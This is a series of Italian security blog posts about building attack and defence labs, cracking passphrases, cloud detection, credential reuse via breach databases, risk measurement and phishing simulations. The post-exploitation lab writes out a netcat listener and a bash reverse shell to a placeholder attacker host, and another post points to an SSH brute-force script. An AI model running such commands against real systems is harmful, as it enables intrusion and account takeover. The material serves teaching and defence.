cyber security, hacking

Attack Simulation, preparazione di uno scenario

A seguito di specifici Security Assessment è normale che emergano vulnerabilità anche gravi per le quali, tipicamente, si suggerisce di eseguire un patching del sistema o altre azioni di mitigazione. Purtroppo va considerato che in alcune situazioni in patching non è applicabile, spesso per ragioni non tecniche. Per portare un esempio particolarmente emblematico basta far riferimento all’evoluzione dei sistemi di automazione industriale, macchine o intere linee di produzione realizzate per restare operative per decenni e che spesso presentano componenti software che, semplicemente, non si possono aggiornare perché non è mai stata rilasciata una nuova versione. In questi casi non è raro trovare sistemi operativi particolarmente datati con tutti i problemi a livello di gestione della sicurezza che questo comporta.

E’ opportuno essere pragmatici ed agire in un’attica di gestione del rischio, cosa che non significa – purtroppo – necessariamente eliminare ogni tipo di rischio. Una volta rilevata una possibile debolezza per la quale non è possibile applicare le più classiche remediation potrebbe essere utile approfondire l’analisi per cercare di stimare nel modo più preciso possibile quanto sia sfruttabile la falla ed i possibili impatti sul business del potenziale target.

Progettare e realizzare simulazioni di attacco può essere un utile strumento di verifica in quanto da la possibilità di esplorare realisticamente ciò che potrebbe avvenire e come gli eventuali sistemi di sicurezza reagirebbero a certe sollecitazioni. Inoltre, in caso di detection, l’attività è utile anche per verificare l’efficienza delle procedure di incident responce dei team operativi.

In questi giorni sto preparando uno scenario molto semplice che coinvolgerà parte del team target in qualità osservatori al fine di comprendere alcuni aspetti delle attività offensive. Vista la natura in parte didattica dell’attività ho pensato di condividere parte dello scenario ed approfittare di una delle sessioni live su Twitch per giocare un po’ con lo scenario.

Elementi base del lab

Come accennavo lo scenario è molto semplice in quanto presenta sistemi molto obsoleti che devono necessariamente esporre servizi vulnerabili. Nel caso specifico si tratta di sistemi Microsoft Windows fuori supporto e non aggiornabili che presentano le vulnerabilità note Blue Keep (CVE-2019-0708) e Ethernal Blue (CVE-2017-0144), le macchine server utilizzano proprio uno dei servizi vulnerabili in quando espongono delle share folder.

I sistemi vulnerabili sono confinati in una rete server (blue network nello schema) e sono raggiungibili solo da alcuni sistemi client che per ragioni operative devono accedere alle share dei citati server. La visibilità tra le reti è garantita da un firewall che, nella configurazione di base, non applica controlli specifici per il controllo delle minacce.

Per il lab di base utilizzo quindi i seguenti sistemi:

  • Virtual Machine “client” con sistema operativo Microsoft Windows 7
  • Virtual Machine “server” con sistema operativo Microsoft Windows 7
  • Virtual Machine “server” con sistema operativo Ubuntu Linux 22.04 LTS
  • Virtual Machine “firewall” con vAppliance Endian (v3.3.2) Community Edition

Preparazione macchina client

Il sistema client è veramente base, una semplice installazione di Windows 7 va benissimo. Le uniche configurazione della macchina sono a livello rete e gli utenti. La configurazione di rete del mio sistema è la seguente:

Dettaglio conf. di rete

Nel mio lab il gateway della rete client è il Firewall che a sua volta ha un gateway per le reti esterne. In questo modo dando ai sistemi che compongono il laboratorio un DNS è possibile farli accedere alla rete internet. La configurazione rispecchia lo scenario reale.

Traceroute dalla macchina client

Per quanto riguarda gli utenti l’esigenza è di avere un utente amministratore locale ed un utente non privilegiato. Nello scenario reale questo sistema sarebbe membro di un dominio Active Directory ma in questo caso ci accontentiamo della doppia utenza. E’ ovviamente previsto, in fase di attacco, l’accesso fisico al sistema con una sessione attiva dell’utente non privilegiato.

Nota a margine: il client nello scenario reale potrebbe essere una macchina Windows 7 o Windows 10. In questa sessione ci accomodiamo sul sistema operativo più datata.

Preparazione macchina server Windows

Di base si tratta di una macchina praticamente identica alla macchina client se non per la posizione nella rete (come da schema), la configurazione della share e le relative regole del firewall locale. A dire il vero nello scenario reale il firewall locale è disabilitato, quindi questa sarà la configurazione di partenza anche nel lab.

Preparazione macchina server Linux

Si tratta di un semplice ambiente LAMP basato su Ubuntu Linux e in questo scenario probabilmente non verrà utilizzato, ma visto che l’obiettivo è sfruttare il laboratorio anche per altre sessioni ha senso tenerla pronta.

Preparazione macchina Firewall

Come accennato nel mio caso ho scelto una semplice vAppliance Endian per la quale ho configurato tre zone e relative reti:

  • Green: corrisponde alla LAN della rete di laboratorio e su questa interfaccia è anche attiva la Management Console disponibile alla URL https://ip:10443
  • Blue: corrisponde al segmento SERVER della rete di laboratorio
  • Uplink: corrisponde alla WAN della rete di laboratorio
Endian Console

In configurazione di default la zone Green e la zona Blue sono in piena visibilità, quindi il sistema client potrà dialogare da subito con il sistema server e il traffico potrà essere registrato nei logs del firewall:

Preparazione macchina c&c

Come accennato anche nella live del 21 aprile (online ancora per qualche giorno) per pura comodità la macchina che utilizzeremo come c&c sarà il sistema Kali del mio lab ma, visto l’utilizzo che vogliamo farle nei primi test, va benissimo una qualsiasi macchina linux che sia in grado di ospitare un web server. Nel laboratorio utilizzerò Apache con Php e Python.

Questo sistema verrà utilizzato come una macchina già compromessa o comunque sotto il controller dell’attacker che è in grado di accedervi remotamente e comodamente via ssh.

Prima fase dell’attacco

Come anticipato lo scenario prevede un accesso fisico al sistema client da cui si dovrà poi sviluppare l’attacco. Partirei quindi da una serie di rilevamenti sul sistema di partenza per poi usare la macchina come base per una scansione mirata nella rete target.

Una delle ipotesi di partenza è che l’attacker sia ragionevolmente certo di trovare le vulnerabilità citate, il sistema di scansione dovrà quindi operare in modo chirurgico. Una volta individuati i sistemi potenzialmente vulnerabili si dovrà procedere con l’exploiting del sistema con lo scopo di creare un accesso permanente alla macchina.

Oltre alla definizione dei singoli strumenti per eseguire le azioni offensive l’obiettivo di questa prima fase è quello di costruire i tools da eseguire rapidamente sul sistema su cui si ha la possibilità di accedere fisicamente. Per verificare l’efficienza dell’operazione l’azione verrà cronometrata.

Il base ai risultati della prima fase, che in parte potremo discutere nella prossima live del 28 aprile, valuteremo le attività della seconda fase in cui coinvolgeremo il sistema c&c.

hacking

Password policies e resistenza agli attacchi

Un post di riflessione in merito ai corretti (a mio parere) spunti che Paolo Perego propone in questo sui articolo. Non ripeto quello che ha scritto Paolo, leggetelo e valutate voi stessi, il suo post merita. Parto direttamente dalle sue conclusioni: dove sta la debolezza di una passphrase rispetto ad una password complessa?

Provo ad affrontare il tema dal punto di vista dell’attacker che ha ovviamente l’obiettivo di eseguire il cracking di un accesso ad un sistema o ad una applicazione. Nel post di Paolo si fa riferimento al contesto dei portali e siti web ma il tema della verifica della robustezza prescinde il contesto. Per procedere quindi con le specifiche prove utilizzo un piccolo lab composto dalla solita kali (per comodità) che farà sia da base offensiva che da target con un utente “test” per il quale ho configurato un semplice accesso SSH. Come password utilizzeremo quella proposta da Paolo: “Il colore della mia stanza è blu”.

Wordlist

Partiamo dalle basi dell’attacco ad una credenziale: il brute forcing utilizzando un elenco di parole predefinite. In questo caso i tipici dizionari presenti nei diversi tools (kali compresa) riportano tipicamente un elenco di parole, non di frasi. Una wordlist classica sarebbe quindi poco efficace verso una passphrase salvo la creazione di diverse combinazioni di words obiettivamente molto onerosa da costruire in termini di tempi di generazione e volumi di dati. Escluderei quindi questa tecnica tra quelle efficaci.

Generazione di credenziali

E’ probabilmente più funzionale tentare di generare una credenziale partendo da un dato che non ci è però dato sapere in anticipo, ovvero il fatto di essere di fronte ad una passphrase e non una password.

Se l’attacker partisse da questo assunto (cosa di per se non particolarmente realistica senza dati a supporto della tesi) potrebbe valutare l’utilizzo di varie combinazioni di parole comuni a formare una frase semplice da ricordare. Non mi stupirebbe scoprire che molti utenti, in questo scenario, potrebbero voler utilizzare delle citazioni famose o frasi che possano essere in qualche modo riferibili al sistema a cui si sta accedendo.

In tal senso un potenziale approccio potrebbe essere l’utilizzo di tools come cewl per creare una lista si parole partendo dal sito del target o da altri contenuti (es: racconti o testi comuni) per provare a costruire poi delle frasi.

Plausibile ma sicuramente non comodo e credo, anche in questo caso, poco efficace.

Un altro approccio, visto che le passphrase di base sono stringhe relativamente lunghe, è il brute force più tradizionale con calcolo delle varie combinazioni. Mettiamoci in un caso relativamente comodo dove la frase è tipicamente composta da caratteri alfabetici con degli spazi come separatori. Assumiamo anche di conoscere la lunghezza della passphrase del target, un metodo realistico in alcuni scenari di attacco è contare ad orecchio le digitazioni dell’utente. Nell’esempio di Paolo ci troviamo comunque davanti ad un frase di 32 caratteri.

Cosa succedere se proviamo a generare frasi di 32 caratteri alfabetici con crunch?

Non impossibile ma decisamente improbabile.

Crack degli hash

Qualche giorno fa ho parlato di credential stuffing. Supponiamo quindi che a causa di un Data Breach gli hash delle passphrase siano disponibili all’attacker. Ai nostalgici verrà subito in mente di utilizzare tools come John the Ripper ma di base le difficoltà saranno le stesse descritte nei precedenti due casi in quanto le tipiche modalità di utilizzo di questi tools prevedono l’impiego di wordlist o utilizzano funzioni di generazione di stringhe.

Le mie conclusioni

Ho voluto scrivere questo post per non rischiare di generare una “battaglia di opinioni”. Paolo ha proposto una riflessione corretta che ho voluto mettere alla prova con qualche esempio reale e ritengo che non vi siano motivazioni che rendano una passphrase meno sicura di una “strong password”… anzi in un certo senso la lunghezza gioca un ruolo a favore non banale.

cyber security, hacking

Cloud Security: assessment e detection [prima parte]

Quella che voglio fare è una prima riflessione ad “alta voce” su un tema che, per una serie di coincidenze, ho toccato in diverse occasioni negli ultimi giorni. Scrivo quindi di getto qualche pensiero e annoto pubblicamente qualche risorsa per dar seguito poi a qualche approfondimento.

Parto dallo scenario: molte aziende ed organizzazioni hanno spostato – e continuano a spostare – workload e dati in cloud sfruttando i vantaggi ed i servizi dei diversi provider ed in particolare dei tre big: AWS, Azure, GCP. Osservo due principali comportamenti: chi “sposta” ciò che fino a ieri gestiva con una Virtual Machine nella sua forma più simile, come una instance, e chi (a mio parere più saggiamente) approfitta dell’occasione per rivedere anche la forma dei propri workload e fa uso di containers, soluzioni as-a-Service per storage e basi dati, soluzioni/implementazioni serverless. Non è questa l’occasione per discutere di quale sia la strategia migliore per spostare i workload in cloud, parlatene con i vostri cloud architect che sapranno consigliarvi a dovere, il tema che voglio affrontare è come gestire la sicurezza dei dati e dei servizi una volta che li avete spostati… tema che sarebbe meglio affrontare prima di spostare i workload, giusto per non andare poi a mettere pezze.

Parto da qualche domanda che credo dovremmo porci:

  • Nella realizzazione del nuovo scenario sono state considerate le linee guida del provider in termini di sicurezza dei sistemi e dei dati? (Security by design)
  • Una volta spostati i dati ed i servizi, dobbiamo ancora preoccuparci di verificare l’esposizione a minacce? (Security Assessment e Security Test)
  • Come gestiamo la detection di eventuali attività sospette? Le procedure e gli strumenti che abbiamo implementato per i sistemi “on prem” sono ancora valide? E le competenze?
  • Come reagiamo ad eventuali incident? Abbiamo adeguato le procedure e le strategie di incident management? Ci siamo dotati di strumenti coerenti al nuovo assetto tecnologico?

Discutendo con qualche addetto ai lavori è emerso che non tutte le scelte fatte per i sistemi ospitati “tra le mura aziendali” conservino la loro validità una volta spostati e trasformati i workload. Inoltre capita frequentemente di approcciale la gestione di ciò che è in cloud adattando procedure storicamente applicate per i workload attivi presso i Data Center dell’organizzazione. E’ sicuramente vero che la gestione di alcuni aspetti va in delega al provider ma è altrettanto vero che la delega non piò essere totale: molte configurazioni degli ambienti restano a discrezione dell’organizzazione a partire dagli accessi ed i profili degli utenti, l’eventuale software che chiediamo di eseguire alle piattaforme cloud ha le stesse esigenze del software che facciamo girare all’interno del nostro (Virtual) Data Center, temi come la riservatezza e l’integrità dei dati restano in buona parte in carico al cliente della piattaforma. Per farla breve la sicurezza delle informazioni va gestita in ogni caso, cambiano probabilmente alcuni dettagli operativi ma le metodologie base non cambiano.

Ovviamente gli aspetti da considerare sono moltissimi, in questa prima riflessione volevo partire dagli argomenti che recentemente mi è capitato di affrontare: Assessment e Detection.

Security Assessment

Sul fronte dei security assessment l’esigenza è forse palese: probabilmente non ci si metterà ad eseguire scansioni delle vulnerabilità delle piattaforme cloud (o forse si, io un check lo farei comunque o quanto meno farei delle valutazioni di merito) ma indubbiamente ha senso verificare la coerenza delle configurazioni applicate in fase di attivazione dei servizi al fine di non esporre vulnerabilità logiche e by desing. Inoltre, come accennavo, è probabile che l’organizzazione debba utilizzare componenti software di terze parti o auto-prodotte all’interno della propria piattaforma cloud, questi elementi avranno le stesse esigenze di gestione e manutenzione di prima anche se sarà probabilmente un po’ più semplice agire mitigation e remediation grazie agli strumenti che i cloud provider stessi mettono a disposizione.

Nota a margine. Il tema degli strumenti di gestione o a supporto delle applicazioni in cloud non è banale, disporre di molte opzioni anche a livello di soluzioni di protection rapidamente implementabili è un indiscutibile vantaggio di gestione. Un esempio banale: un security test mette in evidenza una vulnerabilità software in una applicazione web per la quale non esiste una fix e si mitiga con una configurazione a livello di Web Application Firewall probabilmente già disponibile tra le funzionalità attivabili all’interno dell’ecosistema cloud.

Proviamo a ragionare sulla metodologia e per questa prima analisi restiamo sui classici: NIST, Security Testing and Assessment Methodologies. Il documento, che credo non abbia bisogno di presentazioni, illustra metodologia e fasi per un security assessment e ci ricorda le motivazioni per il quale ha senso condurre questo tipo di analisi:

  • Conferma se i sistemi sono stati opportunamente resi sicuri
  • Identifica eventuali requisiti di sicurezza dell’organizzazione non soddisfatti (*)
  • Soddisfa il requisito di eseguire una valutazione/misurazione periodica del sistema
  • Non sostituisce i controlli si di e la gestione della sicurezza dei sistemi

(*) Da notare che il framework parte da un assunto: che l’organizzazione abbia definito dei requisiti di sicurezza. Partiamo quindi da questo punto, abbiamo definito dei requisiti di sicurezza per ciò che stiamo implementando in cloud? Ci sono scelte e valutazioni che le organizzazione devono necessariamente eseguire in autonomia ma qualche spunto, se non sapete da dove partire, spesso viene dato proprio dai cloud provider.

Detection

Il secondo argomento parte da una domanda facile: come gestire il rilevamento dei security incident per un workload in cloud? Ovviamente rilevare l’icident è solo la scintilla di tutto ciò che riguarda poi la gestione dell’incident stesso, ma in questo momento restiamo solo sul tema della detection e, sempre per semplicità, restiamo ancora su NIST come riferimento.

A pagina 7 del documento “Framework for Improving Critical Infrastructure Cybersecurity” c’è una definizione abbastanza chiara:

NIST – Framework for Improving Critical Infrastructure Cybersecurity

Chiaramente la funzione di detection ha lo scopo di individuare eventuali eventi di interesse per la gestione della sicurezza dell’infrastruttura e dei dati da essa gestiti. Per gestire la detection dobbiamo quindi necessariamente accedere agli eventi che interessano i workload tenendo in considerazione il fatto che in molti casi non si parla più di Syslog e Windows Events. Le diverse piattaforme mettono infatti a disposizione in forme diverse gli eventi che interessano i vari servizi, di solito grazie a delle API che consentono di interrogare i sistemi oggetto di interesse.

Va anche considerato che strumenti che tipicamente vengono utilizzati dalle organizzazioni come SIEM e XDR devono disporre di opportune funzionalità per accedere a questo patrimonio di informazioni e devono anche sapere cosa farci con quei dati. Provo a chiarire il tema con un esempio: se il nostro SIEM deve analizzare i log provenienti da una istance o da un container probabilmente poco cambia rispetto a ciò che arrivava dalla virtual machine (sui container ci sarebbe di più da dire, eventualmente ne parlo in una live), ma se gli eventi sono prodotti dalla piattaforma che gestisce le nostre applicazioni in modalità serverless (es: procedure di integrazione, scripts di automazione) i nostri sistemi sono in grado di analizzare correttamente eventi di questo tipo?

Tecnologicamente è più che fattibile, è necessario tenere a mente che il passaggio di un workload in cloud richiede ancora che venga gestita la detection e che potremmo dover adeguare procedure e strumenti.

Best Practices

Nella maggior parte dei casi parliamo dei tre big player citati, ma in generale tutti i provider di servizi mettono a disposizione delle linee guida per affrontare diversi aspetti della sicurezza dei sistemi e dei dati all’interno dell’universo cloud.

In questa prima parte vorrei quindi dare un’occhiata a cosa suggeriscono a livello di best practices i tre provider di riferimento: AWS, Azure e GCP.

Inizio da AWS che aggrega in un pagina una serie di temi per i quali rimanda a diversi articoli e trainng: https://aws.amazon.com/it/architecture/security-identity-compliance/.

I titolo sono più che eloquenti. Il tema Identity e Access Management è evidentemente un argomento cruciale per una piattaforma cloud dove dovranno probabilmente accedere più utenti con credenziali di servizio per la gestione delle diverse componenti. E’ quindi opportuno proteggere opportunamente questo livello di accesso e profila correttamene gli utenti in modo da non dare privilegi elevati a chiunque.

AWS dedica inoltre uno spazio dedicato al tema della Detection dove cita una soluzione interna alla piattaforma – Security Hub – che consente di gestire alcune minacce (solitamente quelle più comuni) con delle azioni preimpostate (playbook); su questo elemento siamo già su un altro tema che in realtà ha un capitolo dedicato: le azioni di mitigation e remediation. Viene inoltre citata un’altra componente che dalla documentazione mi sembra più “core” per la funziona di detection che è GuardDuty.


Anche per Azure abbiamo a disposizione molta documentazione, devo dire tantissima ma anche molto sparsa. Ho trovato utile partire da un documento di sintesi con una top 10 di argomenti con i relativi rimandi alla documentazione dedicata: https://docs.microsoft.com/…/cloud-adoption-framework/secure/security-top-10.

Noto subito un certo allineamento di argomenti: anche Azure parte dal tema degli utenti suggerendo formazione specifica e ovviamente una corretta gestione delle profilazioni. Si fa quindi riferimento a role-base access control e identity and key management.

Su fronte della detection trovo un approccio interessante che titola “Integrate native threat detection”. In sintesi si parla di integrare le funzionalità di detection di Azure direttamente all’interno del proprio SIEM di riferimento. In questo caso si sta facendo riferimento, se comprendo bene, alle funzionalità di Microsoft Defender for Cloud, componente che vale quindi la pena di indagare meglio.


Anche per Google Cloud esiste una montagna di documentazione con una main page che raccoglie le best practice: https://cloud.google.com/security/best-practices. La struttura della documentazione di BigG è ovviamente differente rispetto ad Azure e AWS e anche in questo caso bisogna andare un po’ a caccia dei temi. Già nella main page li parla però di moltissimi aspetti tra cui il già citato tema dell’Access Management e un interessante documento che titola “Security best practice checklists”.

Sul tema Detection anche Google risponde con una propria soluzione: https://chronicle.security/. Di fatto un SIEM “cloud-native” (su questa denominazione potremmo discutere all’infinito) per le operazioni di detection and response.

Qualche conclusione non concludente

Come scrivevo l’obiettivo di questo primo post era far(mi/ci) un’idea come si stanno muovendo i big player sul fronte della gestione delle minacce in un contesto che varia rapidamente ed è sicuramente molto diverso da quello che le aziende tipicamente gestiscono internamente.

Partire dalla letteratura mi aiuta a organizzare le idee per andare poi a selezione gli argomenti da approfondire. Quindi per ora mi fermo qui e agli interessati lascio il link al mio canale Twitch dove questa sera – giovedì 14 aprile – alle 21:30 faccio una sessione di studio in cui leggiamo e chiacchieriamo a ruota libera su questo tema: https://www.twitch.tv/roccosicilia.

cyber security, hacking

La disponibilità di credenziali negli attacchi informatici

Anche in questo breve post resto sul tema della “recon” con un focus particolare: la ricerca e l’impiego di credenziali valide per l’attuazione di un attacco informatico. Tra le attività che l’attacker esegue, una volta mappate le tecnologie in uso dall’organizzazione terget ed i servizi esposti in rete pubblica (posta elettronica, accessi VPN, portali aziendali, ecc.), vi è la ricerca di credenziali valide per accedere ai servizi individuati.

E’ ovvio che conoscere una credenziale valida consentirebbe all’attacker di accedere a nuove informazioni se non direttamente alla rete target. E’ quindi assolutamente logico verificare se gli utenti dell’organizzazione siano già stati vittime di data breach con relativo furto di una credenziale.

A causa di una cattiva abitudine degli utenti capita ancora molto spesso che vengano utilizzare credenziali uguali o simili per accessi differenti (es: posta elettronica personale ed aziendale). Va considerato che le credenziali utilizzate in un contesto aziendale sono spesso dei veri e propri passepartout nominali che danno accesso a molte applicazioni e sistemi, compreso l’accesso VPN alla rete aziendale. Questa combinazione di fattori rende il fenomeno del “password reuse” una concreta minaccia per le organizzazioni in quanto l’attacker che entra in possesso di una credenziale proveniente da un qualsiasi data breach in cui sia stato coinvolto un membro dell’organizzazione target potrebbe trovarsi nelle condizioni di accedere a servizi dell’organizzazione stessa utilizzando la stessa identica credenziale o versioni simili di questa.

Facciamo un esempio banale. L’utente Mario Rossi utilizza come password una sequenza alfanumerica a cui aggiunge un progressivo nel passaggio da una piattaforma all’altra: asd23qwe!01, asd23qwe!02, asd23qwe!03, ecc. L’attacker che dovesse entrare in possesso di una delle password potrebbe tentare la generazione di diverse combinazioni da provare sulle varie piattaforme. Tools come crunch possono essere utilizzati per generare potenziali password utilizzando un set specifico di caratteri in modo da restringere il campo a quelli tipicamente utilizzati dalla vittima.

Esempio di generazione stringe con crunch

Il concetto è semplice: si ottiene un dizionario qualificato di password per uno specifico utente da passare poi a tools di brute forcing o a semplici scripts in grado di eseguire un test di accesso all’applicazione target. Metto a disposizione un piccolo esempio per eseguire il test in sequenza di un accesso via SSH dato un utente valido ed un dizionario di password: https://github.com/roccosicilia/sToolz/tree/master/RedTeam/BruteForce. Chi ha familiarità con il mondo del pen-testing probabilmente conosce tools come Hydra, una semplice utility che può essere istruita per eseguire tentativi di accesso anche a webform sulla base di un dizionario predefinito.

L’assunto, come detto, è di disporre di un potenziale set di credenziali valide provenienti da data breach passati. Esistono diverse fonti, assolutamente legali ed utilizzate anche in contesti di difesa, da dove è possibile raccogliere informazioni in merito a passati data breach ed eventuali credenziali trafugate. Uno dei più noti è Have I Been Pwned dove è possibile verificare la presenza di una propria credenziale in un Data Breach e, accedendo alle API, è possibile anche consultare il contenuto dei dati relativi al breach, credenziali comprese. Altri due servizi molto interessanti a mio parere sono BreachDirectory e LeakCheck (quest’ultimo è un referral link).

Su BreachDirectory vorrei organizzare un approfondimento sfruttando il piano base di rapidapi.com che mi consente di fare un paio di prove utili a comprende quanto sia fin troppo facile accedere a questa tipologia di dati.

Semplicemente accedendo dalla homr del sito al link del menu “api” si viene rediretti alla dashboard di rapidapi da dove è possibile accedere alla struttura della API ed a diversi esempi di codice utilizzabile per creare un semplice script:

Tool di test delle API

Anche con competenze estremamente base in un qualsiasi linguaggio di scripting (rapidapi riporta esempi per decine di sintassi) è possibile costruire una request base per ricerche mirate o semplici automatismi per sfogliare le voci dei database a caccia di set di informazioni su più target.

Contromisure

Come accebbato tutto ha origine da un malcostume degli utenti, avendo quindi cura di utilizzare differenti credenziali per i diversi servizi a cui ci si registra la possibilità di essere vittime di credential struffing si riduce enormemente. Un altro ausilio è l’utilizzo di sistemi di autenticazione multi fattore così da non delegare alla segretezza della password la sicurezza degli accessi ai propri sistemi/servizi.

A somma di queste sane abitudini ed in considerazione del trend in crescita dei data breach potrebbe aver senso anche monitorare, tramite i servizi disponibili anche sui portali citati, la propria presenza nei database che aggregano tali informazioni.

Ho personalmente potuto osservare l’efficacia di tecniche come il credential stuffing e non è il caso di sottovalutare il fenomeno. In generale credo si sia tutti abbastanza concordi nel considerare i meccanismi di autenticazione basati sulla coppia user/password non particolarmente sicuri. È il caso di passare oltre.

cyber security, hacking

Calcolo del rischio: riflessione sulle tecniche di misura in cyber security

Premetto che in questo post mi avventuro su un tema non propriamente mio (la statistica) applicato al campo della cyber security (che è un po’ più casa mia). Colpa di Mirko Modenese – uno che di statistica ne sa da far cuccioli – che mi tira in ballo in questo suo post.

Nel citato post Mirko fa riferimento al Metodo Monte Carlo, una tecnica di simulazione basata sul campionamento randomizzato. Come dicevo non è esattamente il mio terreno di gioco quindi non ho gli strumenti per spiegare decentemente di cosa si tratta ma ricordavo di aver già letto qualcosa in merito in relazione alla possibilità di calcolare il rischio di una specifica misura (come ad esempio un security test o un vulnerability assessment) utilizzando diversi insiemi di valori randomizzati. Così utilizzata questa tecnica consentirebbe di ottenere diversi possibili risultati in relazione ai possibili valori di rischio ottenibili.

E’ un modello che trovo molto interessante soprattutto in considerazione del metodo tradizionalmente utilizzato in molti contesti, tra cui anche le attività di Red Teaming come i citati vulnerability assessment, in cui vengono utilizzati parametri estremamente statici e spesso decontestualizzati per fornire delle stime di rischio totalmente inesatte. Un esempio tipico è l’utilizzo del CVSS score come parametro di rischio quando è un valore che si riferisce alla vulnerabilità e prescinde il contesto. Per calcolare il rischio correlato servono diversi altri valori che l’analista deve in parte definire in funzione del contesto ed in parte stimare o assegnare in base alla propria esperienza e comprensione della specifica vulnerabilità, tenendo in considerazione le possibilità che la vulnerabilità sia sfruttabile o meno in un prossimo futuro.

Quando si eseguono queste valutazioni (e se si eseguono… ho notato che è un tema affrontato da pochi Red Team) potrebbe essere necessario fare delle ipotesi e potrebbe anche essere molto utile tentare di quantificare economicamente il rischio. In questi casi l’applicazione del Metodo Monte Carlo diventa estremamente utile in quanto consente di produrre delle simulazioni realistiche su cui poi basare nuove analisi e, se possibile, decisioni.

Ho incontrato per la prima volta questo approccio in un libro di Hubbard: “How to Measure Anything in Cybersecurity Risk”. All’interno del mio Red Team non ci siamo ancora trovati a fare modellazioni a questo livello ma gli spunti sono stati molti per arrivare a ottenere una misurazione del rischio che sia contestualizzata rispetto al target. Nel caso specifico cerchiamo di disporre di dati oggettivi sul sistema osservato da portarli poi in analisi assieme alle misurazione degli strumenti di rilevamento; dati come il business impact o la tipologia di dato gestito tramite il sistema oggetto dell’assessment diventano quindi elementi essenziali per una corretta stima del rischio.

E’ anche vero che in molti contesti parte di questi dati, tipicamente a carico del cliente, non sono disponibili per diversi motivi: alcune di queste informazioni dovrebbero far parte di sistemi di gestione come l’asset manager o potrebbero essere derivanti da un risk assessment. Nasce quindi l’esigenza di disporre di un metodo che consenta la definizione di modelli realistici anche con dati parziali.

Per approfondire il tema servirebbe proprio Mirko, quindi mi riprometto di coinvolgerlo in una live per vedere come possiamo applicare il Metodo Monte Carlo ad un caso specifico. Tema affascinante e per nulla banale.

cyber security, hacking

Lab setup per post-exploiting: scenario base

Un post dedicato alla preparazione di un lab destinato ad esercitazioni di attacco e difesa. In realtà si tratta di una versione rivisitata di un lab che avevo implementato a fine 2021 con Andrea Dainese per delle sessioni cyber range di addestramento di un Red Team (esperienza molto interessante tra l’altro). In questa versione del lab conto di aggiungere, con il tempo, qualche elemento in più.

Il lab è di per se uno strumento che in questo caso verrà utilizzato per sessioni dimostrative di attacco in diversi contesti. Con 24 Ore Business School ho in programma delle sessioni specifiche all’interno di un master in Cyber Security e per l’occasione ho voluto preparare delle sessioni dove si possa vedere qualcosa di reale seppur in ambiente “controllato”. Se all’interno del master la scelta degli argomenti è giustamente definita dal programma, sulle mie play-session Twitch c’è spazio per la sperimentazione. In questo periodo mi piace particolarmente giocare con le reverse shell e le azioni di post-exploitation, quindi in questo lab andrò a predisporre elementi vulnerabili in varia forma al fine di provare diverse tecniche di attacco e sperimentare strumenti di detection.

Nello scenario base andiamo ad installare:

  • Un firewall di perimetro con tre network interfaces (WAN, LAN, DMZ)
  • Una VM con sistema operativo Windows Server
  • Una VM con sistema operativo Ubuntu Linux Server
  • Una VM con sistema operativo Windows (client)
  • Una VM d’appoggio per l’attacker (la solita kali alla portata di tutti)

Lo schema finale assomiglia a qualcosa del genere:

lab schema

Per semplicità in questo scenario il firewall è basato su un glorioso pfsense che avrà ovviamente una interfaccia WAN esposta in rete pubblica (per accesso ad internet e NAT), una interfaccia per la DMZ ed una interfaccia per la rete LAN. Nella play-session in preparazione lo scenario coinvolgerà i sistemi in DMZ in quanto vi saranno dei servizi esposti con delle vulnerabilità anche gravi (es: RCE).

Partiamo quindi proprio dai sistemi server ed in particolare dalla VM Ubuntu Linux su cui predisponiamo un set di container appositamente implementati con software vulnerabile: https://github.com/vulhub/vulhub. Sul sistema (target-01 nel mio schema) va quindi installato un po’ di software base:

$ sudo apt-get install python3-pip
...
$ sudo apt-get install docker docker-compose
...

Fatto questo si può procedere con il download del progetto vulnhub:

$ wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
$ unzip vulhub-master.zip 

Ora abbiamo sulla macchina una certa abbondanza di software con cui giocare per provare diverse tipologie di exploit. Il primo scenario a cui dedicare la sessione live del 17 febbraio riguarda la possibilità di guadagnare una reverse shell su uno dei sistemi target partendo da una semplice sessione tcp via netcat.

A prescindere dal software che utilizzeremo come target per la simulazione l’obiettivo è quindi eseguire sul server vittima un comando netcat per aprire una sessione verso la macchina controllata dall’attacker ed adoperarsi per mantenere il link stabilmente attivo. In riferimento allo schema condiviso avremo quindi sulla macchina dell’attacker un netcat in listen pronto a ricevere la sessione dalla macchine vittima…

$ nc -vv -l -p 1337

…e sul sistema target faremo in modo di aprire una sessione verso la macchina dell’attacker con una shell pronta a ricevere i comandi da remoto. Per esempio:

$ sleep 3s && nohup bash -i >/dev/tcp/{R_HOST}/1337 0<&1 2>&1

In questo scenario, potendo il sistema target accedere alla rete internet attraverso il firewall, otterremo che la macchina compromessa sarà governabile da remoto grazie ad una sessione che ha origine dall’interno della rete verso l’esterno.

TODO per la sessione live (tempo permettendo):

  • setup del lab – ovviamente – e panoramica dei sistemi
  • test con la reverse shell sulla macchina target
  • test di exploiting di un sistema vulnerabile per esecuzione reverse shell
  • test di detection: verifica log firewall e test con XDR

Ovviamente la sessione è puramente dimostrativa e l’obiettivo è toccare con mano temi ben noti agli addetti ai lavori ma forse meno frequentati da chi si occupa prettamente di gestione operativa dei sistemi.

Il principio alla base di questi contenuti resta quello della consapevolezza: se capiamo come funzionano gli attacchi informatici avremo più strumenti per comprendere come prevenirli e, in caso di incident, come gestirli.

cyber security, hacking

Social Engineering e Phishing (play session)

Ho avuto l’occasione di discutere assieme al mio red team la realizzazione di una campagna di phishing per la quale abbiamo potuto ragionare senza particolari vincoli. Approfittando delle nuove giovani menti recentemente unitesi al gruppo ho pensato di giocare con diverse tecniche per costruire una campagna con obiettivi differenti rispetto alle classiche azioni di tracciamento. In questo post condivido le idee e la p-o-c della campagna.

Cosa sia il phishing ovviamente lo sanno anche i sassi, è quindi particolarmente interessante osservare quanto sia ancora una tecnica efficace anche quando interessa organizzazioni strutturate. Osservare e misurare il comportamento delle “vittime” di phishing permette di individuare quali siano alcuni dei pattern di comportamento più frequenti. Noto ad esempio come campagne che utilizzano informazioni reali, in riferimento ad eventi o dati che l’attacker ha individuato, registrino un tasso di successo sensibilmente più alto. Diventa quindi assolutamente sensato predisporre simulazioni, in un contesto di security assessment concordato, basate su informazioni reali pattuite con il target o – meglio ancora – individuate tramite specifiche ricerche (OSInt).

Per la campagna descritta in questo lab abbiamo deciso di sviluppare due fasi: nella prima fase l’attacker cerca di instaurare un dialogo con il target per poi inviare, in una seconda comunicazione, un malware camuffato da software lecito.

